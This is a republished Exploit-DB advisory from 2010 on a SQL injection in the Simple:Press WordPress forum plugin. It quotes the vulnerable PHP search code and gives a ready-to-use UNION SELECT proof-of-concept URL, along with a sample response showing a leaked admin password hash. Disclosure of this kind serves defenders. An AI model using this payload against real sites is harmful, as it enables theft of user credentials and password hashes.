WordPress Plugin Simple:Press 4.3.0 – SQL Injection

• Exploit Database
• 12 阅读

• 作者： ADEO Security
  日期： 2010-07-04
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14198/

• # Title: Simple:Press WordPress Plugin SQL Injection Vulnerability
  # Author: ADEO Security
  # Published: 03/07/2010
  # Version: v4.3.0 (Possible all versions)
  # Vendor: http://simple-press.com
  # Download: http://simple-press.com/download-manager.php?id=228
  
  # Description: "Simple:Press – the feature rich, completely integrated
  and fully scaleable forum plugin for WordPress.
  Highly customisable, Simple:Press packs the features of a standalone
  forum into a plugin – seamlessly turning your WordPress site into a
  community."
  
  # Credit: Vulnerability founded by Canberk BOLAT at ADEO Security Labs
  - Mail: security[AT]adeo.com.tr
  - Web: http://security.adeo.com.tr
  
  # Vulnerability:
  In the search field, search values not filtered and inserted into sql
  queries without using any quotes/single quotes and Simple:Press
  execute this sql queries.
  
  sf-header-forum.php
  ---[snip]---
  385		# Add Search Vars
  
  386		if(isset($_GET['search']))
  
  387		{
  
  388			if($_GET['search'] != '') $sfvars['searchpage'] =
  sf_esc_int($_GET['search']);
  
  389			if(isset($_GET['value']) ? $sfvars['searchvalue'] =
  stripslashes(urldecode($_GET['value'])) : $sfvars['searchvalue'] =
  '');
  
  390			if(isset($_GET['type']) ? $sfvars['searchtype'] =
  sf_esc_int($_GET['type']) : $sfvars['searchtype'] = 1);
  
  400			if(isset($_GET['include']) ? $sfvars['searchinclude'] =
  sf_esc_int($_GET['include']) : $sfvars['searchinclude'] = 1);
  
  401			if($sfvars['searchinclude'] == 0) $sfvars['searchinclude'] =1;
  
  402			if($sfvars['searchtype'] == 0) $sfvars['searchtype'] =1;
  
  403		} else {
  ---[snip]---
  
  At the line 389, HTTP GET Request "value" defined as global variable
  $sfvars['searchvalue'] with filtering functions that stripslashes()
  and urldecode() but they can't secure it because in the
  sf-database.php file the global variable $sfvar['searchvalue']
  inserted into sql query without any quotes/single quotes.
  
  sf-database.php
  ---[snip]---
  ...
  401		$searchvalue=urldecode($sfvars['searchvalue']);
  
  ...
  
  404		if($sfvars['searchtype'] == 6)
  
  ...
  
  409			$ANDWHERE = " AND topic_status_flag=".$sfvars['searchvalue']." ";
  
  410
  
  411		} elseif($sfvars['searchtype'] == 8)
  
  ...
  
  414			$userid = $sfvars['searchvalue'];
  
  415			$SELECT = "SELECT SQL_CALC_FOUND_ROWS DISTINCT ";
  
  416			$MATCH = "";
  
  417			$ANDWHERE = " AND ".SFPOSTS.".user_id=".$userid." ";
  
  418
  
  419		} elseif($sfvars['searchtype'] == 9)
  
  ...
  
  422			$userid = $sfvars['searchvalue'];
  ...
  
  425			$ANDWHERE = " AND ".SFTOPICS.".user_id=".$userid." ";
  ...
  ---[snip]---
  
  Its successfully exploitable with search types 6,8,9. Please see # PoC section.
  
  # PoC:
  Request: http://server/wordpress/?page_id=4/&forum=all&value=9999+union+select+(select+concat_ws(0x3a,user_login,user_pass)+from+wp_users+LIMIT+0,1)--+&type=9&search=1&searchpage=2
  
  Response: Topics started by admin:$P$B9TLvhE1l2swasFRlOcABmbhZteCCo.
  (0 Matches Found)
  
  ================================
  Exploit-DB Notes:
  ================================
  Tested platform:
  * Ubuntu Linux version 2.6.32-22-generic (buildd@palmer) (gcc version 4.4.3 (Ubuntu 4.4.3-4ubuntu5) )
  * PHP5 + Apache2 + Mysql
  * Latest version of WordPress
  * Simple:Press version=v4.2.2(as of 07/05/2010 vendor still provides v4.2.2)
  * Settings: Magic_Quotes = off; Global variables = On